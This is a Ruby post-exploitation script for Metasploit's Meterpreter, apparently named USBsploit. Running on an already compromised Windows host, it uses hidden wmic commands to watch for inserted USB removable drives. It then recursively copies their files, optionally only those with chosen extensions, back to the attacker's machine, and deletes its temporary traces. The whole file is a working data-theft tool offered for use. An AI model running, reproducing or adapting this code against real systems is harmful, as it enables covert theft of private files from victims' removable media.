### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $ ### Contact : xavier.poli@infratech.fr or http://twitter.com/secuobs ### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work) os = client.sys.config.sysinfo['OS'] host = client.sys.config.sysinfo['Computer'] require 'net/http' ### options @@exec_opts = Rex::Parser::Arguments.new( "-d" => [ false,"Dump all the files and directories."], "-h" => [ false,"Help menu."], "-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"], "-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."], "-w" => [ false,"Run the scan only one time instead of the infinite while."], "-v" => [ false,"Activate high verbosity"], ) ################## function declaration Declarations ################## ### help def usage puts @@exec_opts.usage print_line("USAGE: ") print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t") print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n") end ### executing remote wmic commands def wmicexec(client,wmiccmds= nil) windr = '' tmpout = '' windrtmp = "" client.response_timeout=120 begin tmp = client.fs.file.expand_path("%TEMP%") wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) wmiccmds.each do |wmi| r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) sleep(2) #Making sure that wmic finnishes before executing next wmic command prog2check = "wmic.exe" found = 0 while found == 0 client.sys.process.get_processes().each do |x| found =1 if prog2check == (x['name'].downcase) sleep(0.5) found = 0 end end end r.close end ### Read the output file of the wmic commands wmidrivefile = client.fs.file.new(wmicfl, "rb") until wmidrivefile.eof? tmpout << wmidrivefile.read end wmidrivefile.close wmidrivefile.close rescue ::Exception => e end ### We delete the file with the wmic command output. c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) c.close tmpout end ### handle files def filewrt(file2wrt, data2wrt) output = ::File.open(file2wrt, "a") data2wrt.each_line do |d| output.puts(d) end output.close end ### test if file exists remotely def remoteexists(dst) value = client.fs.dir.entries(dst) return value rescue return false end ### test if a drive still exists remotely def remotedriveexists(dst) value = client.fs.dir.entries(dst) return true rescue return false end ### recursive and differential downloader def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber) begin ### if a dump attack was chosen if dump == "true" or dump == "extension" state = 0 ### for each item on the drive if (value = remotedriveexists(src + File::SEPARATOR) == true) each = client.fs.dir.entries(src) each.each { |src_sub| if (src_sub == '.' or src_sub == '..') next end src_item = src + File::SEPARATOR + src_sub dst_item = dst + ::File::SEPARATOR + src_sub src_stat = client.fs.filestat.new(src_item) ### if item is a file if (src_stat.file?) ### check local size if file exist allready locally if ::File.exists?(dst_item) dst_size = File.size(dst_item) else dst_size = "NULL" end if src_stat.size == dst_size ### same size if verbose == "true" print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"") end else ### different size or no local copy, download the file ### download only file matching the extensions set if option chosen if dump == "extension" openextension = 0 File.readlines(extensionsfile).map {|extension| begin if extension.gsub("\n","") == File.extname(dst_item).gsub(".","") client.fs.file.download_file(dst_item, src_item) state += 1 openextension = 1 if verbose == "true" print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen") end end end } if openextension == 0 if verbose == "true" print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen") end end else ### download file without taking care of an extensions set client.fs.file.download_file(dst_item, src_item) state += 1 if verbose == "true" print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"") end end end ### if item is a directory elsif (src_stat.directory?) if ::File.exists?(dst_item) else ### create the local directory identified on the remote drive if not exist ::Dir.mkdir(dst_item) end ### relaunch dumper function on the sub directory if verbose == "true" print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked") end statet = state state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber) state += statet end } end end end return state rescue ::Exception => e return state end ### parsing options dump = "false" verbose = "false" stopwhile = "false" extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' ) @@exec_opts.parse(args) do |opt, idx, val| case opt when "-d" dump = "true" when "-e" if ::File.exists?(extensionsfile) dump = "extension" extensionsfile = val else raise "Personnal extensions set File \"#{val}\" does not exist!" end when "-t" if ::File.exists?(extensionsfile) dump = "extension" else Net::HTTP.start("www.secuobs.com") do |http| req = Net::HTTP::Get.new("/usbsploit/textextensions}") resp = http.request(req) ::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd| fd.write(resp.body) end end if ::File.exists?(extensionsfile) print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"") dump = "extension" else raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!" end end when "-w" stopwhile = "true" when "-v" verbose = "true" when "-h" usage raise Rex::Script::Completed end end if args.length == 0 dump = "true" end ### variable declarations commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"] nbdrive = 0 state = 0 ### Create a directory for the dumps logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' ) logs = logstmp + "/" + host if ::File.exists?(logs) else ::FileUtils.mkdir_p(logs) end ### declaration tracking files drivefile = logstmp + "/drive" + host volumeserialnumberfile = logstmp + "/volumeserialnumber" + host oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host ### cleaning if ::File.exists?(oldvolumeserialnumberfile) File.unlink(oldvolumeserialnumberfile) end ### start print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"") print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!") first = 0 temp = 0 while temp < 1 dumped = 0 newnbdrive = 0 ### cleaning if ::File.exists?(volumeserialnumberfile) File.unlink(volumeserialnumberfile) end if ::File.exists?(drivefile) File.unlink(drivefile) end ### number of drives plugged filewrt(drivefile, wmicexec(client,commands)) ::File.open(drivefile, "r").each_line do |drive| begin drive = drive.gsub(/[^\w|:]/,"") if drive =~ /:/ newnbdrive += 1 end end end ### If at least one drive is plugged now and one was plugged during the last scan if newnbdrive > 0 and nbdrive > 0 if newnbdrive > 1 and nbdrive > 1 print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted") elsif newnbdrive > 1 and nbdrive == 1 print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted") elsif newnbdrive == 1 and nbdrive > 1 print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted") elsif newnbdrive == 1 and nbdrive == 1 print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted") end ### Get the list of all plugged drives this time ::File.open(drivefile, "r").each_line do |drive| begin drive = drive.gsub(/[^\w|:]/,"") if drive =~ /:/ ### Get the volumeserialnumber for the plugged drive checked at this time newvolumeserialnumber = 1 openvolumeserialnumber = 0 command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"] filewrt(volumeserialnumberfile, wmicexec(client,command)) ::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber| begin volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"") if volumeserialnumber =~ /\d/ openvolumeserialnumber = 1 ### Recover all the volumeserialnumber values for the drives plugged during the last scan if ::File.exists?(oldvolumeserialnumberfile) ::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber| begin oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"") if oldvolumeserialnumber =~ /\d/ ### Check if this volumeserialnumber was part of the recovered ones from the last scan if volumeserialnumber == oldvolumeserialnumber newvolumeserialnumber = 0 if verbose == "true" print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped") end else ### nothing to do here end end end end else newvolumeserialnumber = 1 end end end end if newvolumeserialnumber == 1 and openvolumeserialnumber == 1 ### Check if the new plugged drive is allways plugged at this time sleep(2) if (value = remotedriveexists(drive + File::SEPARATOR) == true) if ::File.exists?(volumeserialnumberfile) File.unlink(volumeserialnumberfile) end filewrt(volumeserialnumberfile, wmicexec(client,command)) ::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber| begin volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"") if volumeserialnumber =~ /\d/ ### Create a directory for the dumps logskey = logstmp + "/" + host + "/" + volumeserialnumber if ::File.exists?(logskey) else ::FileUtils.mkdir_p(logskey) end if dump == "true" or dump == "extension" print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack") end ### Dump the files from the new plugged drive state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber) dumped += 1 if dump == "true" or dump == "extension" if state == "00" or state == '' print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!") elsif state == 1 print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!") else print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!") end end end end end else ### The new plugged drive checked was unplugged if verbose == "true" if dump == "true" or dump == "extension" print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!") end end end else ### The plugged drive checked was allready part of the last scan end if ::File.exists?(volumeserialnumberfile) File.unlink(volumeserialnumberfile) end end end end ### elsif at least one drive is plugged this time and any during the last scan elsif newnbdrive > 0 and nbdrive == 0 if first == 0 if newnbdrive > 1 print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts") elsif newnbdrive == 1 print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts") end first = 1 else if newnbdrive > 1 print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted") elsif newnbdrive == 1 print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted") end end ### Get the list of all plugged drives this time ::File.open(drivefile, "r").each_line do |drive| begin drive = drive.gsub(/[^\w|:]/,"") if drive =~ /:/ ### check if the new drive is allways plugged sleep(2) if (value = remotedriveexists(drive + File::SEPARATOR) == true) ### Get the volumeserialnumber for the plugged drive checked at this time command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"] if ::File.exists?(volumeserialnumberfile) File.unlink(volumeserialnumberfile) end filewrt(volumeserialnumberfile, wmicexec(client,command)) ::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber| begin volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"") if volumeserialnumber =~ /\d/ logskey = logstmp + "/" + host + "/" + volumeserialnumber if dump == "true" or dump == "extension" print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack") end ### Create a directory for the dumps if ::File.exists?(logskey) else ::FileUtils.mkdir_p(logskey) end ### Dump the files from the new plugged drive state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber) if dump == "true" or dump == "extension" if state == "00" or state == '' print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!") elsif state == 1 print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!") else print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!") end end dumped += 1 if stopwhile == "true" temp += 1 end end end end else ### The new plugged drive checked was unplugged if verbose == "true" if dump == "true" or dump == "extension" print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!") end end end end end end end ### refresh the number of plugged drives for future checks if dumped == 0 if newnbdrive == 1 else end else if dumped == 1 if newnbdrive == 1 else end else if newnbdrive == 1 else end end end if newnbdrive == nbdrive else if ::File.exists?(oldvolumeserialnumberfile) File.unlink(oldvolumeserialnumberfile) end ### Save the volumeserialnumber of each plugged drives for future checks ::File.open(drivefile, "r").each_line do |drive| begin drive = drive.gsub(/[^\w|:]/,"") if drive =~ /:/ if (value = remotedriveexists(drive + File::SEPARATOR) == true) command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"] filewrt(oldvolumeserialnumberfile, wmicexec(client,command)) end end end nbdrive = newnbdrive end end if ::File.exists?(drivefile) File.unlink(drivefile) end ### delay for 2 continuous scans #sleep(10) end raise Rex::Script::Completed